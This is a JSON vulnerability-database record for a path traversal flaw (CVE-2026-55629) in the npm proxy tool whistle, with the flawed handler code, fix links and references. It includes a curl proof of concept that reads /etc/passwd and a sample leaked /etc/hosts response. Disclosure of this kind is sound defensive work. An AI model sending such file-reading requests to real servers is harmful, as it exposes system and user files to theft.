{"id":"CVE-2026-55629","aliases":["GHSA-3vfr-4gwf-qxfp"],"url":"https://o3.security/vulnerability/CVE-2026-55629","summary":"Whistle: Path traversal","details":"This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get('/cgi-bin/temp/get', ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```","published":"2026-07-16T19:12:56.106Z","modified":"2026-10-21T02:58:38.821849457Z","cvss":null,"epss":{"score":0.00669,"percentile":0.49326,"asOf":"2026-08-27"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"whistle","fixedVersion":"2.10.3"}],"fix":{"url":"https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5","label":"avwo/whistle@777bcf6"},"references":[{"type":"WEB","url":"http://github.com/avwo/whistle/releases/tag/v2.10.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55629.json"},{"type":"ADVISORY","url":"https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55629"},{"type":"FIX","url":"https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5"},{"type":"PACKAGE","url":"https://github.com/avwo/whistle"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:38.821849457Z"}}